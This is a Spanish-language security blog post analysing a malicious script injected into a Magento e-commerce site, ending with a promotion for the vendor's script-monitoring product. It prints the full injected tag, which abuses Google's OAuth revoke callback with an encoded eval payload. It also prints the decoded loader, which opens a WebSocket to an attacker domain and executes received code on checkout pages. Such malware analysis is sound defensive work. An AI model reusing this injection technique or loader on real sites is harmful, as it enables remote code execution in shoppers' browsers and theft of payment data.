Skip to main content
Blog
Blog

Google OAuth Weaponizado Activa un WebSocket Malicioso

Un atacante está usando 'Google.com' para entregar y ejecutar su propio código en un ataque de Google OAuth weaponizado.

Jun 10, 2025 4 min read
weaponized-google-oauth-image-cover

Analizamos un ataque client-side especialmente ingenioso en un sitio de eCommerce basado en Magento: parts[.]expert. Aunque no es un dominio de alto tráfico, la técnica de inyección utilizada merece atención, porque se oculta a plena vista.

El atacante está usando 'Google.com' para entregar y ejecutar su propio código y explotar las medidas de seguridad de OAuth, lo que puede comprometer credenciales de cuentas de Google y tokens de acceso.

Qué Encontramos

Nuestro sistema marcó un script proveniente de una URL inesperada:

<script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>

A primera vista, parece una URL legítima de cierre de sesión OAuth del servidor de autorización:

accounts.google.com/o/oauth2/revoke.

Pero al analizarla más de cerca, el parámetro callback está weaponizado para ejecutar un payload JavaScript ofuscado mediante eval(atob(...)).

Análisis Paso a Paso

El payload codificado en base64 embebido en el callback se decodifica en otro script ofuscado, que crea dinámicamente una conexión WebSocket maliciosa hacia un dominio controlado por el atacante, lo que plantea serias preocupaciones de seguridad en WebSocket. Decodificado, el código es el siguiente:

(function() {
  let setupMaliciousWebSocket = () => {
    // Conectar al servidor WebSocket del atacante
    const ws = new WebSocket("wss:/livechatinc.network/chatpipe/029/");

    // Ejecutar cualquier código recibido desde el servidor
    ws.onmessage = (event) => {
      const maliciousCode = atob(event.data); // Decodificar Base64
      new Function(maliciousCode).call(event.target); // Ejecutar dinámicamente
    };
  };

  // Ejecutar si:
  // 1. El navegador está automatizado (p. ej., bots), O
  // 2. La URL contiene 'checkout' (p. ej., página de pago)
  if (navigator.webdriver || window.location.href.match('checkout')) {
    setupMaliciousWebSocket();
  }
})();

Qué Hace el Script

  1. Se conecta a un servidor WebSocket malicioso si la página contiene checkout en la URL. O bien, si el navegador parece automatizado, abre una conexión wss:// hacia livechatinc[.]network/chatpipe/029/. Ese dominio ya está marcado como malicioso: enlace a VirusTotal, y son ejemplos claros de ataques WebSocket en acción.
  2. Recibe y ejecuta payloads remotos: Cualquier mensaje codificado en base64 enviado a través del WebSocket se decodifica y ejecuta con new Function(...). Esto le otorga al atacante capacidades de ejecución remota completa dentro de la sesión del navegador del usuario (una técnica frecuentemente usada en phishing OAuth y otros ataques OAuth), y puede derivar en una filtración de datos, interceptando información sensible como direcciones de correo electrónico y datos de pago.
  3. Consciente del momento y el contexto: El script se activa específicamente en páginas de checkout, probablemente para interceptar datos de pago o inyectar elementos fraudulentos en tiempo real.

Por Qué Es Importante

  • Parece legítimo: Aparenta cargar desde un dominio de Google, lo que recuerda al tráfico asociado a vulnerabilidades de Google OAuth, por lo que la mayoría de las herramientas de seguridad lo considerarían de confianza sin cuestionarlo. Una CSP no podrá detectar este ataque, ya que el dominio de confianza Google.com pasará sin problemas. Un filtro DNS en el dispositivo del usuario tampoco sería efectivo.
  • Evade los escáneres estáticos: La lógica peligrosa está anidada en dos capas de ofuscación y solo se ejecuta bajo condiciones específicas, lo que lo hace especialmente difícil de detectar para organizaciones que no cuentan con un evaluador de seguridad cualificado (QSA).
  • Control en tiempo real: Los payloads basados en WebSocket permiten a los atacantes enviar lógica maliciosa dinámica en función de las acciones del usuario.

Hemos visto antes suplantación de dominios y loaders ofuscados, pero esta combinación de redirección OAuth + control en vivo activado condicionalmente va un paso más allá.

Nuestro producto en cside fue capaz de identificar y detectar este ataque. Recibimos el payload completo del script descargado y lo analizamos antes de que llegue al navegador.

Puedes registrarte o solicitar una demo aquí.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y Asegura tus Scripts de Terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Comienza gratis, o prueba Business con una prueba de 14 días.

Interfaz del panel de cside mostrando monitorización de scripts y análisis de seguridad
Related Articles
Reservar una demo